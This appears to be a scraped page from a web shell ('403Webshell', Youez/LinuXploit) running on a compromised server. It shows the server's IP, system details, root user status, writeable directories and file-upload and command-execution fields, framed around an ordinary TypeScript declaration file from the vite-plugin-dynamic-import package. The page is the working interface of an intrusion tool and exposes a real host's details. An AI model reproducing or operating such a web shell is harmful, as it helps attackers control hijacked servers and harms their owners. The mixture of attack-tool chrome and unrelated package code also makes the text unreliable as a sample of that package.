403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vite-plugin-dynamic-import/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vite-plugin-dynamic-import/dist/index.d.ts
import type { Plugin } from 'vite';
import { hasDynamicImport, normallyImporteeRE, mappingPath, toLooseGlob } from './utils';
import { type Resolved, Resolve } from './resolve';
import { dynamicImportToGlob } from './dynamic-import-to-glob';
export { hasDynamicImport, normallyImporteeRE, mappingPath, toLooseGlob, type Resolved, Resolve, dynamicImportToGlob, globFiles, };
export declare const TAG = "[vite-plugin-dynamic-import]";
export interface Options {
    filter?: (id: string) => boolean | void;
    /**
     * ```
     * 1. `true` - Match all possibilities as much as possible, more like `webpack`
     * see https://webpack.js.org/guides/dependency-management/#require-with-expression
     *
     * 2. `false` - It behaves more like `@rollup/plugin-dynamic-import-vars`
     * see https://github.com/rollup/plugins/tree/master/packages/dynamic-import-vars#how-it-works
     * ```
     *
     * @defaultValue true
     */
    loose?: boolean;
    /**
     * If you want to exclude some files
     * e.g `type.d.ts`, `interface.ts`
     */
    onFiles?: (files: string[], id: string) => typeof files | void;
    /**
     * Custom importee
     *
     * e.g. - append `\/*@vite-ignore*\/` in front of importee to bypass to Vite
     */
    onResolve?: (rawImportee: string, id: string) => typeof rawImportee | void;
}
export default function dynamicImport(options?: Options): Plugin;
declare function globFiles({ importeeNode, importExpression, importer, resolve, extensions, loose, }: {
    importeeNode: AcornNode;
    importExpression: string;
    /** Used to calculate relative paths */
    importer: string;
    resolve: Resolve;
    /** Importable file extensions */
    extensions: string[];
    /** Match unlimited levels of subdir as much as possible */
    loose?: boolean;
}): Promise<{
    files?: string[];
    resolved?: Resolved;
    /**
     * 🚧-③ After `expressiontoglob()` processing, it may become a normal path
     *
     * In v2.9.9 Vite has handled internally(2022-06-09) ????
     * import('@/views/' + 'foo.js')
     * ↓
     * import('@/views/foo.js')
     */
    normally?: string;
} | undefined>;

Youez - 2016 - github.com/yon3zu
LinuXploit